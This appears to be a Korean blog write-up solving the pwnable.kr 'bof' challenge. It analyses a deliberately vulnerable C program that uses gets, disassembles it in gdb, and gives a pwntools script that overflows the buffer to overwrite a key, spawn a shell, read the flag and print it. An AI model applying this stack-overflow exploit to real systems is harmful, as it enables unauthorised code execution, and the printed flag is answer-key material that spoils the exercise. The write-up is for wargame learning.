bof - 5 pt [writeup]
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
두개 모두 다운로드를 합시다.
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워주네요.
gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있습니다.
그럼 key[4] 와 overflowme[32] 사이의 거리를 구해야 합니다.
다운받은 바이너리를 gdb로 분석하겠습니다.
mandu@mandu-VirtualBox:~/Downloads$ gdb -q bof
Reading symbols from bof...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
key는 [ebp+0x8]에 있습니다.
심볼이 다 날라가서 함수명을 알 수는 없지만, 소스를 보았을 때 첫번째 call은 printf이고 두번째 call은 gets임을 알 수 있습니다.
따라서 overflowme[32]의 위치는
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
[ebp-0x2c] 일 것입니다.
스택구조를 나타내보면,
낮은주소
overflowme[32]
dummy[12]
ebp+ret[8]
key[4]
높은주소
이렇게 됩니다. 그럼 페이로드는 dummy[52] + key[4](0xcafebabe) 가 되겠네요.
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import * r = remote("pwnable.kr", 9000) payload = "D"*52 + "\xbe\xba\xfe\xca" r.sendline( payload ) r.sendline('ls') print(r.recv()) r.sendline('cat flag') print(r.recv()) r.close() | cs |
mandu@mandu-VirtualBox:~/project/pwnkr$ python bof.py
[+] Opening connection to pwnable.kr on port 9000: Done
bof
bof.c
flag
log
log2
super.pl
daddy, I just pwned a buFFer :)
[*] Closed connection to pwnable.kr port 9000
FLAG : daddy, I just pwned a buFFer :)
'WAR GAME > Pwnable.kr' 카테고리의 다른 글
pwnable.kr [random] 풀이 (0) | 2018.02.26 |
---|---|
pwnable.kr [passcode] 풀이 (0) | 2018.02.26 |
pwnable.kr [flag] 풀이 (0) | 2018.02.26 |
pwnable.kr [collision] 풀이 (0) | 2018.02.25 |
pwnable.kr [fd] 풀이 (0) | 2018.02.25 |